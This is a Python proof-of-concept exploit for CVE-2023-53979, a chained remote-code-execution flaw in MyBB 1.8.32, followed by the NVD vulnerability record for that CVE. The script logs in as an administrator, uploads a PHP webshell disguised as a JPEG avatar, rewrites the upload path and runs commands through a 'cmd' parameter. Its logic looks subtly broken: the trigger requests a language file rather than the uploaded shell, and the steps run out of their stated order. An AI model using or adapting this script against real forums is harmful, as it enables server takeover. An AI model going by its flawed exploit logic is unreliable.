CVE-2023-53979

# CVE-2023-53979 MyBB RCE PoC # Author: VulnCheck # Target: MyBB 1.8.32 import requests import re import sys TARGET_URL = "http://target.com/mybb/" USERNAME = "admin" PASSWORD = "admin_password" session = requests.Session() def login(): """Step 1: Login as administrator""" login_url = TARGET_URL + "member.php?action=login" data = { "username": USERNAME, "password": PASSWORD, "action": "do_login", "url": TARGET_URL } response = session.post(login_url, data=data) return "loggedin" in session.cookies.get_dict() def upload_malicious_avatar(): """Step 2: Upload PHP embedded image as avatar""" upload_url = TARGET_URL + "member.php?action=upload_avatar" # PHP webshell disguised as image php_code = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" files = { 'avatar_upload': ('evil.php.jpg', php_code, 'image/jpeg') } response = session.post(upload_url, files=files) return response.status_code == 200 def modify_upload_path(): """Step 3: Modify upload path via admin settings""" admin_url = TARGET_URL + "admin/index.php?module=config-language" # Modify language settings to point to executable directory data = { "settings[uploadpath]": "/var/www/html/mybb/uploads/", "action": "save" } response = session.post(admin_url, data=data) return "success" in response.text.lower() def trigger_rce(): """Step 4: Trigger RCE via language config""" trigger_url = TARGET_URL + "inc/languages/english/admin/config_settings.php" # Execute uploaded PHP file response = session.get(trigger_url + "?cmd=whoami") return response.text if __name__ == "__main__": print("[*] Starting CVE-2023-53979 Exploitation") if login(): print("[+] Login successful") if modify_upload_path(): print("[+] Upload path modified") if upload_malicious_avatar(): print("[+] Malicious avatar uploaded") result = trigger_rce() print(f"[+] RCE Triggered: {result}") else: print("[-] Login failed")

{"cve": {"id": "CVE-2023-53979", "sourceIdentifier": "[email protected]", "published": "2025-12-22T22:16:03.540", "lastModified": "2025-12-27T19:15:40.903", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "MyBB 1.8.32 contains a chained vulnerability that allows authenticated administrators to bypass avatar upload restrictions and execute arbitrary code. Attackers can modify upload path settings, upload a malicious PHP-embedded image file, and execute commands through the language configuration editing interface."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mybb:mybb:1.8.32:*:*:*:*:*:*:*", "matchCriteriaId": "B1BAA789-490B-4BB4-B9BE-9CD0EF16BD15"}]}]}], "references": [{"url": "https://fdlucifer.github.io/2023/01/17/mybb1-8-32-LFI-RCE/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://mybb.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51213", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/mybb-authenticated-remote-code-execution-via-chained-vulnerabilities", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2022-45867", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}